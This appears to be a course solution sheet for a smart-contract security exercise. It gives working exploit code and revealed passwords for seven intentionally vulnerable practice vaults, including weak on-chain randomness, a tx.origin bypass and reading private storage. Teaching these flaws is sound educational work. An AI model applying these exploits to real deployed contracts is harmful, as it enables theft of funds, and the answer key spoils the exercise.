# Smart Contracts Exercise 04: Unbreakable Vault – Solution

The solved exercise 4 can be found in this GitLab repository.

## Vault01: A Password Password

To breach `Vault01`, you need to call the `breachVault` function in `test/Vault01.js` with the correct password. The password is the `keccak256` hash of the string `"password"`. Use `ethers.id("password")` to compute the hash and pass it to the function to successfully breach the vault. See id docs for more.

```
// Hash the "password" string using Keccak256
const hash = ethers.id("password");

// Breach the vault
await vault.connect(player).breachVault(hash);
```

## Vault02: Packet Sender

To breach `Vault02`, you need to call the `breachVault` function with the correct password. The password is the `keccak256` hash of the `msg.sender` address. Use `ethers.solidityPacked` to mimic `abi.encodePacked(msg.sender)`, first encode the player's address. See solidityPacked docs for more.

```
// Using ethers.solidityPacked to mimic abi.encodePacked(msg.sender)
const encodedAddress = ethers.solidityPacked(["address"], [player.address]);

// Hash the encoded address using keccak256
const hash = ethers.keccak256(encodedAddress);

// Call breachVault with the derived value
await vault.connect(player).breachVault(hash);
```

## Vault03: Origins

To breach `Vault03`, you need to bypass the requirement that `msg.sender` must not be equal to `tx.origin`. This means the function must be called from a smart contract rather than directly from an externally owned account (EOA).

Deploy the `Vault03Attack` contract, passing the vault's address as a parameter. Then, call the `attack` function from the attack contract, which in turn calls `breachVault()`. Since the attack contract acts as an intermediary, `msg.sender` will be the attack contract, while `tx.origin` remains the player's address, satisfying the vault's condition.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

interface IVault03 {
    function breachVault() external returns (bool);
}

contract Vault03Attack {
    IVault03 public vault;

    constructor(address _vaultAddress) {
        vault = IVault03(_vaultAddress);
    }

    function attack() external returns (bool) {
        return vault.breachVault(); // msg.sender != tx.origin
    }
}
```

This successfully updates `lastSolver` to the player's address, completing the challenge.

## Vault04: Pseudo-Random Trap

To breach `Vault04`, you need to provide a correct guess computed using `block.timestamp` and `blockhash(block.number - 1)`. Since both values are accessible during the same transaction, you can compute the correct guess on-chain and submit it immediately. Deploy the `Vault04Attack` contract, passing the vault's address as a parameter. Then, call the `attack` function from the attack contract, which computes the guess and calls `breachVault()` with the correct value.

```
    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.28;

    interface IVault04 {
        function breachVault(uint256 _password) external returns (bool);
    }

    contract Vault04Attack {
        IVault04 public vault;

        constructor(address _vaultAddress) {
            vault = IVault04(_vaultAddress);
        }

        // Function to perform the attack
        function attack() external returns (bool) {
            // Compute the guess using on-chain values in the same transaction.
            uint256 guess = uint256(
                keccak256(
                    abi.encodePacked(blockhash(block.number - 1), block.timestamp)
                )
            ) % 100;

            return vault.breachVault(guess);
        }
    }
```

Since the guess is derived from predictable on-chain data and is used within the same transaction, the attack works by ensuring the `blockhash` and `timestamp` remain valid when the vault processes the request.

## Vault05: Fortune Teller

To breach `Vault05`, you need to use the `blockhash` of the block when the guess was locked in, but only after the next block has been mined. First, you lock the guess using `lockInGuess`. Then, you must wait for the next block and calculate the random number using `blockhash(lockInBlockNumber)`. The issue is that at the moment of locking in the password, we do not know the blockhash yet. We can only access the blockhash of the previous blocks. However, since the `blockhash` function only returns the blockhash for the last 256 blocks, otherwise it returns zero (see Solidity documentation). Therefore, we simply lock in a 0 and mine 256 blocks before calling `breachVault` function.

```
// Lock the zero
await vault.connect(player).lockInGuess(0);

// Mine 256 blocks
for (let i = 0; i < 256; i++) {
    await ethers.provider.send("evm_mine", []);
}

// Call breachVault()
await vault.connect(player).breachVault();
```

## Vault06: Explorer

Since the contract is verified on Etherscan, you can view the constructor arguments on Sepolia Etherscan.

```
-----Decoded View---------------
Arg [0] : _password (string): younailedit

-----Encoded View---------------
3 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000020
Arg [1] : 000000000000000000000000000000000000000000000000000000000000000b
Arg [2] : 796f756e61696c65646974000000000000000000000000000000000000000000
```

You can also find the password from a previous transactions that interacted with this contract. For example, see this transaction. The password is ”younailedit”.

## Vault07: You Shall Not Pass!

To breach `Vault07`, you need to figure out the stored `password` string, which is located in the contract's storage. The storage layout of the contract reveals that the password is stored at slot 4.

First, retrieve the value stored in slot 4. The last byte of the stored value in this slot contains metadata, indicating the length of the password string. You can decode the password by using the first `length` bytes from the slot's value, where `length` is computed from the last byte metadata.

| Name | Type | Slot | Offset | Bytes |
|---|---|---|---|---|
| `lastSolver` | `address` | 0 | 0 | 20 |
| `small1` | `uint8` | 0 | 20 | 1 |
| `small2` | `uint16` | 0 | 21 | 2 |
| `isActive` | `bool` | 0 | 23 | 1 |
| `big1` | `uint256` | 1 | 0 | 32 |
| `hashData` | `bytes32` | 2 | 0 | 32 |
| `big2` | `uint256` | 3 | 0 | 32 |
| `password` | `string` | 4 | 0 | 32 |

Table 1: Storage layout of the Vault07 contract

After extracting the password string, you can compute the hash of the password using `keccak256(abi.encodePacked(password, playerAddress))`. Finally, pass the hashed password to the `breachVault` function to successfully breach the vault. The password is ”youshallnotpassword”.

```
// Read the storage value at slot 4
slotValue = await ethers.provider.getStorage(vaultAddress, 4);

// Decode the password from the storage value
const tagHex = slotValue.slice(-2);
const tag = parseInt(tagHex, 16);
const length = tag / 2;
const actualDataHex = "0x" + slotValue.slice(2, 2 + length * 2);
const actualPassword = ethers.toUtf8String(actualDataHex);

// Hash the password and address
const hashedPassword = ethers.solidityPackedKeccak256(
    ["string", "address"],
    [actualPassword, playerAddress]
);

// Call breachVault with the derived hashed password
const tx = await vault.breachVault(hashedPassword);
await tx.wait();
```